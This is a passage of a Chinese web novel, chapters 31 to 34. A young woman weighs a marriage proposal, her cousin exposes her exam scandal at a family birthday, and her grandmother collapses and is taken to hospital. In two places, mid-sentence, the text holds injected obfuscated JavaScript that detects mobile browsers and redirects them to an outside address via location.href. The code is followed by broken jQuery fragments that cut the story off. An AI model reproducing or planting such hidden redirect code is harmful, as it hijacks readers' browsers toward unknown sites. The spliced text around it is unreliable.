谢静芳笑一声没接话,仿佛是快要睡着了。待聂宇的眼皮也开始渐渐发沉的时候,她忽然问她道:“澄澄,在燕城的这几个月,你过得开心吗?” “……”聂宇骤然睁开眼睛,抬头看向奶奶。只是一片漆黑中,她除了感受到奶奶温热的呼吸外,什么也看不清。 “说开心就像是在说假话了。”她想了想,这样回答道,“来燕城的第一天,姥爷就告诉我说,到哪里都是一地鸡毛。在蒋家也有各种各样的矛盾,其中有不少跟我无关但不得不被卷进去的。只是奶奶,我很清楚来这里的目的,所以这些我都能忍受。就像您总是叮嘱我的那样,要抓大放小……” 谢静芳听完孙女的话,不由叹息了一声。长大了,孩子是真长大了。她讲的这些话,可比一味地诉苦或者诉甜来的让她放心得多。字里行间,她能感受到她的生活智慧,还有那股韧劲儿。能得到这些,就不虚此行。 “对,我的小羽毛想的很对。但你记住,如果哪天真的待不下去,就给奶奶打电话,我一定会把你接回去。”一顿,“别忘了,咱祖孙俩有自己的家了,谁也夺不走,抢不去。” “嗯嗯。”察觉到奶奶的语气中有些伤感,聂宇连忙转移她的注意力道,“奶奶,快跟我说说咱们的家吧,你都置办的怎么样了……” “……” - 接下来几天,是聂宇来燕城之后最快乐的几天。她完全给自己放了大假,只一心陪奶奶,这股黏糊劲儿,让蒋家人的都颇有微词。尤其是蒋晓先,已经不知明里暗里地在蒋铸面前说过几回酸话上过几次眼药了,话里话外无非就是说聂宇“有了奶奶就不要姥爷”。 若说蒋铸对这些事没有想法,那是不可能的。但他不会在任何人面前表现出来,反倒还敦促蒋晓先学习聂宇对长辈们的孝心,说十分难得。蒋晓先没讨着好儿,只得无趣地作罢。 在蒋晓先眼里,聂家来的那三个人中,唯一能让她看顺眼点的也就聂杰英。这人长的人高马大能说会道的,很讨她的欢心。唯一一点不好的就是这人据说已经有对象了,马上就要步入婚姻殿堂,于是蒋晓先很快就失去了对他的兴趣,转而向外寻找乐子。 而似乎是真的怕蒋晓先这个新年过的太无聊,老天很快给她送来一个。那天她出去见朋友,刚坐稳就听一个男的凑上来对她说:“晓先,你前些天让我调查的关于你姐高考的事儿已经有眉目了,里面果然有蹊跷!” 16.31-32 -31- 在陪伴奶奶的这些日子里,聂宇只见过孟京阳一面。 那是在过完年以后,聂宇带着奶奶去冰场边溜达,意外撞见了孟天音和孟天放姐弟俩,以及带他们前来的孟京阳。 今年孟家的春节是在南边过的,来冰场那一日恰好是他们回来的第二天,孟天音看到聂宇和她奶奶十分激动,兴奋地要带她们体验一把各个游玩项目。聂宇原本还怕奶奶不愿动弹,结果在孟家姐弟俩的带领下,老太太玩得还挺愉快,渐渐地聂宇就退到一旁,任由天音带着奶奶在冰上享乐。 孟京阳也没有参与其中。俩人并肩站在场边围观,不多一会儿,他问聂宇:“你怎么不跟他们一起玩儿?” “坐不下。”聂宇笑说,“很久没见我奶奶这么开心了,让她多玩一会儿吧。” 孟京阳微眯着眼看着场中的三人,又问:“这些天老太太在燕城待的还算舒心么?” “嗯。” 聂宇应一声,没再有下文。孟京阳等候片刻,察觉出不对,他看向聂宇:“今天怎么话格外少?” “……”聂宇也眯着眼瞧他一眼,又很快移开视线,说,“不知道以我们目前的关系,我说哪些话合适。” 孟京阳无言。可以,这是还记着仇呢。 他略略失笑地看着聂宇,年轻姑娘今天穿了一件长款的白色羽绒服,脖子处围了一件红围巾,已经长长的头发梳成两股麻花辫搭在胸前,看起来青春洋溢,却并不幼稚。孟京阳研究过这个问题,那就是聂宇为什么有时候看起来小有时又看起来大的,是她的眼神。就比如此刻,她有一种让他无法忽视的存在感。 “我向你道歉,请聂老师原谅。” 孟京阳正了正色,说道。聂宇瞬间又将目光转向他,似乎在打量他是认真的还是开玩笑。 “那我也向你道歉,不该打听你的私人问题。”聂宇压着心跳说,“我们扯平了。” 终于,也轮到她说一回这种话了! 孟京阳微微一笑,看似是领情了。只是过了一会儿,他又忽而反问道:“这么说,关于我相亲的情况,你是完全不好奇了,是不是?” “……”聂宇简直想瞪他了,“你是不是故意的?想考验我?” 孟京阳挑一挑眉,说:“我的意思是,现在我可以跟你聊一聊这个话题了。” “……”聂宇想说自己不感兴趣,但人类的本性是八卦的,她实在、实在硬不下心肠来拒绝。 “那您说吧,我听听看。” 聂宇还想板着脸,说到最后却没忍住笑了,带点孩子气。 但孟京阳却没急着开口,他仿佛是在斟酌,在思考,过了片刻才徐徐启唇道:“聂宇,我最近忽然觉得,在照山的那一晚不该那样结束。” “……” 聂宇用一种“受到惊讶”的眼神看向孟京阳:“您在开玩笑?” “我看着像在讲笑话吗?”孟京阳与她对视,“除非你不会再有这一类的烦恼,否则——我想我们可以试一试。”一顿,“不过要换个规则,我不喜欢一段华而不实的暧昧关系,我要的是足够坚定的,能够一直一起走下去的关系。你理解为婚姻也可以。” 聂宇完全傻眼了,看着他,半天说不出话。 “这、这玩的也太大了。”她垂眸低喃,“我现在完全没有这个需要……” “你现在是没有,但不代表未来。”孟京阳说,“我的意思是,在一定的期限内,如果你还会遇到这些麻烦的话,可以考虑我的提议。” “这个期限,有多久?”聂宇问。 “久到——你遇到一个除我之外心仪的人选,或者我不想再等下去,如何呢?” “……听上去很公平。”聂宇想了想,低声评价道,“只是——” 只是在这个不知道会持续多久的期限内,他就这样什么也不做地等着她吗?他都肯跟她结婚了,居然没有一点想要追她的意思吗?那是不是说明,他其实也并不是很喜欢她,这么提议不过也是为了同时解决自己的个人问题而已。 然而,他都肯等她了,在顶着巨大的催婚压力下。虽然,不知道这个“等”会持续多久。 聂宇觉得自己脑子全乱了,她不免有些生气:她讨厌这样的模糊不清! 孟京阳能够察觉到她的情绪变化,便问:“只是什么?你尽管说出自己的顾虑。” “只是你都没打算追我吗?你全等着我自己一个人想明白或者有需要?你所谓的关系就是这么理性吗?只有所谓的需要与被需要,没有爱与被爱?” 聂宇将自己的所思所想一股脑全倒出来了,生怕再耽搁一会儿她就没了这份勇气。 孟京阳仿佛也有些意外,他看着明显有些气恼的她,居然一个没忍住,笑了。 “聂宇,我以为你不打算跟我谈感情。”平静下来后,他说。 聂宇听完也有些惊到。所以,她生气的原因是他的提议太过冷硬务实,不包含一点“感情”因素吗?所以,她其实想跟他谈感情? 但这并没有什么不对啊。 “反正,即便是我真要那么做,也不会找一个只谈需要不谈感情的人。”聂宇认真地说,语气中的坚定仿佛是在告诉孟京阳,她没他想的那么庸俗。全然忘记了几个月前在照山,是谁在没有感情的情况下,敲开了孟京阳的房门。 “那就谈。”孟京阳说,“难道你觉得,我对你一点儿感情都没有么?” 他怎么可能完全放任她自己去想通想明白,这个过程有多曲折艰难,他作为一个刚迈过那个门槛的人,心里清楚得很。他只是没有料到,这个窗户纸竟是由聂宇等不及来捅破的,好大一个惊喜。 聂宇感觉自己像是掉进了一个感情陷阱里,她刚刚回笼一些的理智又不够用了。难不成,他对她有感情,那种男女之情? 聂宇不太敢信,她怕是自己自作多情。 “不急的聂宇。”孟京阳在心里叹口气,对她说,“这事对你来说有些突然,你回去慢慢想,理好你的顾虑或者疑惑后,我们再来谈。” 聂宇没有应声,咬唇思索了很久,她问孟京阳:“如果我答应你,我会得到什么样的生活呢?”一顿,“其实我大学毕业前都不打算考虑这些事的,虽然知道姥爷那边会很难应付,但我——” 聂宇之所以会觉得思路混乱,是她从来都没有一个完整地应对姥爷催婚催嫁的方案,从来都是边走边看,也许明天就打算撕破脸的那种。现在,孟京阳忽然提出一个可以“永绝后患”的办法,她却不敢轻易应承。因为她不可能完全把他当做一个工具人,她需要考虑跟他以后的生活,考虑现实与理想的冲突。 “聂宇。”孟京阳轻唤她的名字,“在你答应我之前,我所说的这些对你而言不过都是权宜之计。而在你答应我之后,这些都将变成我们真实的生活,需要考虑的不是一年两年三年四年的问题,而是一辈子的问题。我们选择结合,并不只是要应付谁或者解决什么难题,而是在感情的基础上,过我们自己的生活。” “所以呢?”聂宇没懂,“你想说什么?” “我想说——”孟京阳一顿,缓了缓口吻道,“我想说不管是出于什么目的,我们都需要磨合和沟通。但我能向你保证的是,你能在我这里得到最大限度的自由和保护。你所吸引我的,就是你的天性。” 聂宇有些发晕了,一个不小心,居然差点儿滑倒。 孟京阳眼疾手快地抓住了她,慌乱中两人对视,一个镇定中带着紧张,一个紧张中在努力镇定。两人就这样凝视彼此片刻,聂宇率先松开了手。 “我、我需要想想。”她竭力平静地说。 - 当晚,聂宇毫不意外地失眠了。 其实她最近的日子过得还算轻松,都快忘记相亲这件事了。但细细一想,她现在的处境也不容她太乐观。 不光是这一年,未来只要她还单身没对象,姥爷和舅舅都会惦记着这件事。而谁又能说准,他们会什么时候向她发起突袭呢? 而她这边,虽然有个奶奶做依仗,但随着她越长越大,老太太的想法难保不会改变。再加上姥爷蒋铸又是个最会扯大旗的人,只要“为你好”的旗号一打,奶奶说不定也会被蒙骗。毕竟,哪家的老人不希望自己的孩子找个好人家呢? 但她实在不想去相亲。不光是因为她不想妥协,不想影响自己的学业,最重要的是她不想要通过这种方式得来的感情。她觉得自己还年轻,可以理想化一点,等有足够余力的时候,她想去追求爱情。 然而,距离她真正完全独立至少还有四年的时间,这期间她还要为了这件事跟家里打多少场仗,迎来多少敌人呢?聂宇简直不敢想,怕消磨她好不容易攒起的勇气。 还是先睡一觉吧。聂宇在心里疲惫地安慰自己。 -32- 因为始终理不清头绪,接下来几天聂宇都是在纠结中度过,甚是煎熬。好在,姥爷蒋铸的生日快到了,暂时帮她转移了注意力。 蒋铸的生日原是在元宵节后,为着谢静芳和聂杰英赶着回旬城,便打算提前到元宵节一起过。蒋家其他人没有太多意见,按老爷子的话说,毕竟不是整寿。 到了这一天,聂宇和奶奶堂哥一早就来到了家里。谢静芳是打算在老爷子的生日宴席上露一手的,计划做两道旬城特色菜,需要早来做准备。而聂宇自然是给奶奶当下手,任她差遣。 聂家一行到的时候,谭斌已经带着蒋云清过来了。因为精神状态有所反复,今年过年的时候蒋云清并没有来吃团年饭,之后也许久未露面。直到今天老父亲过寿,她才强打起精神出现了,所以,这也是谢静芳来燕城后第一次见到这位前儿媳。 多年未见,当年的恩怨即便未完全消解,也淡去了不少。谢静芳看着瘦的快不成人样的蒋云清,嘴唇动了又动,最后只说出一句:“还是要好好保重身体。”。蒋云清听到之后,展露出了自聂宇来燕城以后在她脸上所见过的情绪起伏最大的表情,她抬眸凄楚地看着谢静芳,没多一会儿,双眼就盈上了一层水雾,仿佛要落泪。未免她当众失态,谭斌搂着她,去一处没人的地方疏解了。 谢静芳叹了口气,进了厨房后久久未言。聂宇不以为意,她安抚着老太太,祖孙俩说笑着,开始了准备工作。 谢静芳打算做的两道菜程序并不复杂,只是需要的佐料颇多。她点验了蒋家现有的储备,发现少了两味,便支使聂宇去买。聂宇披上外套便出了门,在快抵达服务社的时候,遇见了孟家姐弟俩,以及——时常跟在他们身后,充当监护人的孟京阳。 “要出门吗?大包小包的。”见孟天音手里提了不少东西,聂宇主动问道,尽量避开某道同时向她看过来的视线。 “对啊,小叔要带我们去燕郊滑雪,我们来买点路上吃的喝的。”孟天音笑着说,又诚邀聂宇一起去。 “不巧了,今天我姥爷过寿呢。而且过两天我奶奶也要回老家了。”一顿,“你们去吧,玩得开心。” “那好吧。”孟天音撇撇嘴,“等我回来找你哦,咱俩一起去游泳。” “没问题。” 聂宇比了个手势,往后避了避,给他们让路。很快,孟京阳走到了她的面前来,看脚步似有放缓,好像是准备跟她说话。聂宇跟做贼一样赶紧避开了他的注视,埋头小跑进了服务社。整个过程,不敢有一丝停顿。 太没出息了。等到跑到他看不到的地方,聂宇停下来喘息恢复时,不免有些沮丧地想。 - 因为有谢静芳着意添菜,蒋铸这顿生日宴格外丰盛。所有宾客欢聚一堂,直热闹了快三个钟头,到所有人都有了倦意时才散场。即便如此,蒋铸也没有回房休息,而是去了客厅,并叫人泡了一壶茶。家里人见状,只得陪着。 忽而,在所有人有一搭没一搭聊着的时候,小宋进来报告,说是院外来了一个自称曾蛟的年轻人,来给老爷子拜寿。场面顿时安静了一瞬,而后蒋铸摆了摆手,说去接他进来吧。 自聂宇在蒋铸面前放下狠话后,她就再也没见过曾蛟,也没跟他有过任何来往。但曾家那里却并未放弃,还想着找机会再维系一下两人的关系。正好,前些日子曾父从谭斌那里得知元宵节要来干休所给蒋老爷子过寿,便让曾蛟利用这个契机来蒋家人面前露露脸,刷一下存在感。 聂宇对此并不在意,倒是坐在她对面的蒋晓先听到这个消息后,开始冲她挤眉弄眼。聂宇懒得搭理她,便移开了视线,因而没有注意到她眸中闪过的一丝得意和…阴诡。 很快,在小宋的带领下,曾蛟进了家门。他这次是真的有备而来,不仅人打扮得体面风流,提的礼也够重,其中还有不少只有在国外才能买到的尖货。聂宇在一旁看着,虽能体会到他的用心,但也深知他这样讨不了蒋铸的好。 果不其然,蒋铸并不喜曾蛟一句话里几个“国外”的作派。但伸手不打笑脸人,还是耐着性子应付了下来。待到曾蛟尝试跟聂宇搭话的时候,他突然出声打断了他的话头,并借着“累了”的由头,让曾蛟回去了。当然,礼节还是周全的,他安排了小宋亲自开车相送。 等曾蛟走了,老爷子轻叹一口气:“小伙子人是不错,只是有点儿太崇洋媚外了,送了一堆外国货给我,好像国内什么也买不到似的。” “您老也别生气,小曾肯定是觉得好才买来送给您的,这也是他的心意嘛。” 蒋云鹏笑着说,有意无意地看聂宇一眼,似是仍没放弃撮合这两人。但蒋铸没有搭话,只是示意保姆小刘把这些都收起来,又叮嘱蒋云鹏给曾家那边打个电话表示一下感谢。 蒋云鹏应下了,却听坐在他身边的女儿插了句嘴:“曾伯伯肯定高兴不起来,他让曾蛟来给您拜寿,图的又不是您一句谢。” 这话说的话里有话,在场的所有人除谢静芳和聂杰英之外,都立刻听懂了。 “晓先——”蒋云鹏斥了女儿一句,口吻却不够坚定。虽然女儿的话有些出其不意,但既然都说了,他也想借着她的口,探一探老爷子对这件事的态度,顺便让谢老太太也知道知道。 蒋晓先当然听得出父亲的意思,在得知他不是真的责怪和阻止自己的时候,她便笑一笑,又说了一句:“不过爷爷您还是很英明的,知道这桩婚事不能成,否则到时候就不是多一个亲家,而是多一个仇人啦。” “你胡扯什么!” 斥责她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432554|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是蒋铸,蒋云鹏听了也微微变了脸。而坐在一旁的谢静芳和聂宇,眼神则是警惕了起来。一个是虽然不知道发生了什么但下意识地维护孙女,另外一个则是意识到蒋晓先要使坏。 “蒋晓先,你说话注意分寸。”聂宇冷着脸,缓缓提醒她一句。 “分寸?该注意分寸的不是我吧?”蒋晓先假装无辜地回怼一句,然后又转过头去对蒋铸说,“爷爷,您还不知道呢吧,我表姐她其实瞒了您。她是借着高考失利求您把她接来燕城的对吧,但她那不是普通失利,是她跟别人搞对象害得人高考前自杀,结果被对方父母挡在了高考考场外,生生错过了一场考试才落榜的。我说呢,表姐学习那么好怎么还考不上大学,原来是有内情。这样的情况,也不好介绍给别人吧。” 也是朋友的提醒才让蒋晓先意识到了这一点。因为爷爷的“偏心”,她在外可没少在朋友面前抱怨自己这个小城市来的“表姐”,直到后来有一天,一句朋友的无心之言点醒了她:“你表姐既然学习不错,那她怎么会高考落榜呢?这里面是不是有什么问题?” 蒋晓先听完之后,就拜托一个朋友去帮忙查了。本来是没报太大希望的,没想到来了一个大惊喜。她耐着性子等了几天,终于今天让她逮着一个机会,能当着所有人的面儿,揭露聂宇的“真面目”。 然而蒋晓先到底是缺根弦,但凡她多想一想就会明白,她朋友都能查到的东西,蒋铸会不知道?早在聂宇去照山求他的那一刻,就把事情的前因后果一五一十地交代了。而老谋深算如蒋铸,自然知道这些事不能往外提,却没想到被蒋晓先都给抖搂了出来。 蒋铸脸色立刻变了,蒋云鹏见状随即起身就给了女儿一巴掌,骂道:“打哪儿听来的闲言碎语就随便往外说,还不把嘴给我闭上,小宇可是你亲表姐!” “什么、什么闲言碎语!” 蒋晓先也没想到父亲的反应会这么大,立刻捂着脸指着聂宇道,“他们家人今天都在这儿,你不信你亲自问问,看是不是这么个情况!” 蒋晓先本来想刺一下聂宇就算完,也算给自己找回一些面子,结果蒋云鹏这一巴掌算是把事情闹大了。现在,她准备没完没了了,不然她自己就要完蛋。 蒋云鹏也意识到自己的反应有些过激,使眼色想让妻子魏莹把女儿押上楼。结果却为时已晚,对面谢静芳已经站起了身,叫他一声他的名字,阻止了他。 此时此刻,谢静芳已经将事情捋顺了,原来那个曾蛟是蒋家给自家孙女介绍的相亲对象,俩人之前早就见过面。也难怪,方才曾蛟来拜年的时候,眼神总是止不住往聂宇身上撩。但这不是事情的重点,蒋晓先的指责和污蔑才是。 她不顾聂宇的阻拦,走上前也没听蒋云鹏的解释,而是直面蒋晓先。 “晓先,你说的这些事我确实最清楚不过。但这事不是小事,在你问我之前我想先问问你,可以吗?” 谢静芳此刻的态度还称得上温和,蒋晓先略有些迟疑,但看了父亲一眼,还是点了点头。 “好,第一个问题。”谢静芳说,“就刚刚所说的那些事,你是怎么知道的?” “这还用问么!”蒋晓先撇撇嘴回,“这件事在你们当地已经传遍了,随便一查就能知道。” “查?这么说,你找人查你表姐了?” 谢静芳微一眯眼,蒋晓先不由慌了:坏了,怎么说出来了! 谢静芳已经不需她再回答,得到了自己想要的结果,她转而看向蒋铸:“小宇姥爷,我的孩子我知道,当初她来找你的事情,应该把高考落榜的来龙去脉都跟你说清楚了吧?” 蒋铸现在的脸色已经难看至极,他沉沉地出了口气,点了点头:“说清楚了。” “很好,那我就不必再多解释了。”她说完,再度看向蒋晓先,“现在就剩下一个问题了,是不是晓先?都是一家人,纵使你对聂宇有再多不满,也用不着找人背地去查她吧?你就那么确定你得到的是真相?还是说你宁愿相信你所知道的是真相,相信聂宇是个十恶不赦的人?” 这话就问的有些诛心了,蒋云鹏看了看父亲的脸色,连忙上前来阻拦。然而谢静芳可是没那么好打发的,她一定要摁死这件事,所以硬要蒋晓先给个说法。而蒋晓先哪里经得过这种阵仗,慌不择路下,选择了最糟糕的回应—— “老太太,您、您也别把聂宇说得多清高。她要是真有骨气,当初会答应我爷爷‘考中了就上大学,考不中就相亲嫁人”的要求吗?她分明就是在等着这一句,生怕自己再考不上大学没了后路!” “……” 这话对谢静芳来说可以算是惊天一击,威力比落榜一事大多了。她微张张嘴,许久才转动眼珠,看向孙女聂宇。 “小宇,这是真的?”她忍着气和巨大的惊异,问聂宇。 聂宇一看就知道奶奶气大了,连忙跑过来攥住她的手,说:“奶奶,你听我解释……” 谢静芳一听这话还有什么不明白的,当即拂开了聂宇的手,颤抖地指指她说:“你跟我回去!” - 谢静芳坚持要带聂宇回招待所,众人无法,只得先让她们离开。而聂宇跟在奶奶身后,也是后悔不已。其实蒋晓先说出来那件事的时候,她心里并未觉得有多糟糕,她甚至不介意让蒋云鹏知道这件事,这样以后再给她介绍相亲对象的时候也会有所顾忌。只是没想到,蒋云鹏那一巴掌把蒋晓先给打崩了,也使得事情走上了难以挽回的余地。 “奶奶——” 在关上住处的门之后,聂宇急着向谢静芳解释,却见谢静芳转过身举起手,一副想要给她一巴掌的架势。聂宇无比惊愕,冷静下来之后,她收回了伸出去的手,平静地等待着那一巴掌落下。 然而谢静芳到底是没舍得,她只是重重地拍了聂宇一下,操着沙哑的哭腔骂她:“你糊涂啊,怎么能答应你姥爷这样的条件!你姥爷也是,太不是个东西!” 孙女早晚要嫁人,这个道理谢静芳懂。但是这不能被拿来做要挟,尤其是这人还是她的亲姥爷! “奶奶,您听我说。”聂宇也落下泪来,“我之所以答应这个条件,是因为我坚信自己这次考试不会再有任何问题。所以我,我才……” “可是万一呢?”谢静芳反问,“但凡有个万一,你以后的人生都要由他掌控了,你知不知道?你以为只是相亲嫁人这么简单的事吗?你要愿赌服输啊!” “……”聂宇没想过这些,“不会有这些万一,而我、而我当时也没有别的选择……” “……”谢静芳不说话了,她像是一下子苍老了好几岁一样,静默片刻,突然出声赶聂宇走。 聂宇不敢不答应,但她没有走远,就在门外等着。直到过去了差不多快一个小时,聂宇从地上站了起来,用钥匙打开了房门。 屋里面一片安静,谢静芳盖着被子躺在床上,似乎是睡着了。聂宇虽觉意外,但是没敢打扰她,只是走上前为她掖了掖被角。整个过程中,谢静芳一动未动,像是没有了知觉似的。聂宇顿时生出一种不好的预感,她先是用手晃了晃老人,见她依旧没有反应,便将手伸过去,探了探她的鼻子。这一探可不得了,谢静芳竟已然没了呼吸! 17.33-34 -33- 聂宇瞬间吓傻了,连忙使劲推了推谢静芳,但始终没用。眼泪刷地就流了出来,她推开房门踉跄着去找聂杰英,但方才还来劝过她三四次的人此刻却不见了踪影,无论聂宇怎么敲也没人来应门。 聂宇没有办法,让自己冷静了一下之后,立刻下楼去前台给蒋家打去电话。 电话是警卫员小宋接的,出乎意料的,蒋铸和蒋云鹏都不在家。用小宋的话说是有事出门了,但实际是蒋老爷子也不太舒服,蒋云鹏亲自开车送他去医院看诊,路上顺便再谈一谈怎么处理蒋晓先这件事。 “那怎么办?你能找辆车送我奶奶去医院吗?求求你小宋。”聂宇带着哭腔说。 “你先别哭,我这会儿赶过去,先把老太太送到卫生所里让医生看看如何?如果情况实在不妙,咱们再去医院,卫生所那边应该有车。” “好,你快过来吧。”聂宇说。 挂断电话之后,聂宇便回了房间。老太太依旧昏迷着,但似乎并没完全断了息,聂宇在旁边不停地轻唤着她的名字,企图让奶奶醒过来。 小宋过来时看到的就是这样一副绝望的场景,他二话没说将老太太背上,就跟聂宇一起赶赴卫生所。 此时已经时近傍晚,天色暗了下来。小宋满头大汗地把谢静芳背进卫生所,就让聂宇去找医生。然而不巧的是,因为今天是元宵节,在这里值班的医生是个刚分配来不久的新手,面对这种情况也不知该如何下手处理,踟蹰半晌,也只是掐了掐谢静芳的人中,或是准备给她人工呼吸。 聂宇见状不妙,就让小宋去找车子,准备往就近的医院里送。 小宋也是这样想,点了点头就往外走,因为动作太急,在出门的时候差点儿与进来的人撞个满怀。 “抱歉——”小宋立刻道歉,话头却在看清来人时顿了下,“孟主任——” 来人确是孟京阳,他自然也认得小宋,便问:“慌慌张张去哪儿?是蒋老爷子出了什么事?” “不是,是聂家的那位老太太,她——” 话音未落,就见孟京阳的身影已从眼前消失,再看过去,他已然进了诊室。 房间内,聂宇和医生正在帮谢静芳解开衣扣和束腰,见孟京阳走进来的时候,她不免有些发傻。 “你,你——”她想说他不是去滑雪了吗,怎么又出现在这里。 “怎么回事?”孟京阳打断她的话头,问道。 “我奶奶出事了。”聂宇说着,眼泪快流下来,“她昏迷了,怎么叫也叫不醒……” 孟京阳走上前查看了一下聂老太太的情况,又看了同样六神无主的年轻医生一眼,当机立断道:“送医院吧,我去开车,不必等救护车过来了。” “等我。”丢下这句话,孟京阳转身离去。 聂宇犹有些反应不过来,小宋去而复返,告诉了她孟京阳已去取车,吩咐他回来帮她的忙。聂宇赶紧点点头,让小宋过来和她一起撑起奶奶。 很快,孟京阳将车开了过来,几个人合力尽量平稳地将谢静芳移到了后车座。随后,聂宇在后排坐着看顾奶奶,小宋坐副驾,孟京阳亲自开车,一行人出发前往医院。 傍晚时分,街上来往的车流颇多。孟京阳见缝插针,用最快的车速,向着医院进发。小宋时不时看眼后排的情况,只见聂宇紧握着奶奶的手,在默默垂泪。 不到十分钟,孟京阳将车子停在了最近的一家综合医院。车子停稳后,副驾的小宋立刻跳下车进去找医生和护士,而孟京阳则来到后面,和聂宇一起将后排清理出一个快速通道。 托赖这几个人的协力配合,谢静芳被以最快的速度送到了急救室,大门关上之后,聂宇腿软的快要站不住。 - 接下来是耐心的等待。 万幸,在来的路上谢静芳的呼吸已经恢复了过来,但人仍是不清醒。进了医院之后,医生立即为她做了详细的检查,暂时排除了急性的脑血管病变。只是她的血压还有些高,再加上情绪波动,可能是由此导致的短暂性脑缺血。医生立刻采取了相应的急救措施,来帮她尽快地脱离危险。 得知奶奶暂时没了性命之忧,聂宇松了好大一口气。她整个人瘫坐在长椅上,泪眼朦胧地看着孟京阳,不知道该说什么好。 孟京阳此刻也稍稍放心了,他抬手轻轻拍了拍聂宇的背,算是安抚。 “不要怕,没事了。”他轻声说。 聂宇“嗯”一声,却仍是免不了心有余悸。 半个小时后,待确定谢静芳各项指标已经恢复了平稳,医院安排她转入普通病房继续观察。也是在这个时候,蒋家那边和聂杰英接到小宋的通知,急急从干休所赶来了医院。 兴许是早就知道孟京阳在场,众人在看见他的时候并不意外。确定了谢静芳已逃离了鬼门关,蒋铸和蒋云鹏亲自来到病房外向孟京阳道谢。 “客气了老爷子,我只是碰巧遇上了帮一把,不必言谢。” 孟京阳说着,视线仍是未完全离开病房里的祖孙俩人。 蒋铸并未意识到他的过分在意,只说等老太太出院了,让聂宇亲自上门道谢。孟京阳知道这话就是送客的意思了,只得笑一笑,提出告辞。 聂宇是将一切都安顿完毕之后才得知孟京阳早已离开,心中略有遗憾,但更多的心力还是用在了照顾奶奶上。 - 当晚,聂宇守着奶奶一夜未眠,任谁劝也不离开。 好在谢静芳的情况已经稳定了下来,凌晨时分悠悠转醒,仿佛并不知道发生了什么。 聂宇看着奶奶的样子,眼泪没忍住又流了出来。老太太看孙女双眼哭得红肿,不由得有些心疼。 “澄澄……” 谢静芳的声音还有些虚,聂宇听到奶奶这么唤她,没忍住将头埋进她的一只手中。 “别哭,别哭,奶奶没事儿。”谢静芳隐隐想起了昏迷之前的事,轻轻挣开了手,反过来摸了摸聂宇的头。 “都是我不好,都是我不好。”聂宇不住地自责道,“我不该放任您一个人待在屋里,我应该守着您。我也、我也不该气您,我根本就不该来燕城,否则这一切都不会发生……” 谢静芳苦涩一笑,轻轻摇了摇头。除此之外,仿佛没有多余的力气了。 “这个事情,不该怪你。也怪奶奶大意,要跟晓先做那个意气之争,否则、否则她也不会直接就把你的事情爆出来了……终归是不好啊。” 谢静芳最后悔的也最在意的,就是蒋晓先最后说的那句话。所以昨晚在撵走聂宇之后,她就在心里责怪自己,终究是她沉不住气跟蒋晓先对上,才有了后来这么一出。只是,她气不过啊,他们怎么能那样欺负她的小羽毛。 当然,这事还是怪她,怪她没本事,只能害得孙女远赴燕城寄人篱下受尽欺辱。一想到她在这里不知道受了多少的苦,谢静芳就心口发疼,本来血压就不稳,再加上情绪剧烈起伏,便发病了。 “没事的奶奶,以后再也不会有这样的事了,您放心……” 聂宇轻声安抚着老太太,谢静芳并不相信,却也没有心力反驳了。她点一点头,又闭上了眼睛。 -34- 第二天一早,蒋家众人——包括蒋晓先在内——都来了医院。聂宇知道奶奶没事,放心地将她交给堂哥聂杰英照顾,然后只身去跟蒋铸谈判。这一次奶奶差点儿出大事,她必须要蒋家给个交代。 蒋铸见聂宇来者不善,就知道她是准备算账了。轻叹一口气,他主动对聂宇说:“昨晚在家已经训斥过晓先了,她也认识到了自己的错误。等你奶奶情况好一些了,就让她给老太太道个歉,这事儿也就过去了,好不好?” 聂宇没有吭声,只是看向蒋晓先问:“你知道错了吗?” 蒋晓先知道闯下大祸,吓都快吓死了,此时面对聂宇的诘问,眼圈立马就红了。 “我也不是故意的、我只是、我只是——” “不用说了。”聂宇打断她的话头,不再搭理她,而是转向蒋铸和蒋云鹏,“您听她的话,昨天发生的事,哪一桩哪一件不是她精心准备了来打我脸的?为此都不惜找人去旬城调查我。结果现在出事了,她说自己不是故意的,这叫认错?这叫推脱!” 蒋铸闭一闭眼,拦住忍不住要为女儿辩解的蒋云鹏,沉声道:“晓先的性子是娇纵了点儿。本来就打算送她去部队历练,现在出了这事儿——提前走吧,不必等到今年底。” “爸!” “爷爷!” 父女俩一起惊叫出声,蒋铸理都不理,他也打定主意要在这件事上给这对父女一个教训! 然而聂宇仍旧不满意。 “还是太轻了。”她摇摇头说,“我奶奶差点儿就死了,把她送去部队就算是打发了?她不是原本就打算去的吗?这是为了她以后的前途考虑,也能称之为惩罚?” “那你想怎么办!”蒋云鹏忍不住了,站出来问道。 “我想把她赶出家门,让她无家可归,让她也尝尝受尽欺负的苦楚和滋味!” 聂宇一声大过一声地说道,蒋云鹏听完都惊了,脸色发白嘴唇哆嗦,过了好一会儿才指着她回过头对父亲喊:“爸,聂宇疯了!” “我是疯了,我现在恨她恨得要死。我原本是打算捅死她呢,现在只是将她扫地出门也算是仁至义尽了!” 聂宇尽职尽责地扮演着一个疯子,蒋云鹏不敢再刺激她了,蒋晓先甚至连哭都不敢哭。唯一没有被她吓住的,只有蒋铸。他罕见地动了气,瞪着聂宇瞧了半晌,他说:“你跟我出来。” 祖孙俩寻了个僻静处,站定之后,蒋铸对聂宇说:“小宇,我非常理解你现在的所思所想,你想泄愤也不是不可以,但最后终归要落到实处。难道蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436792|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 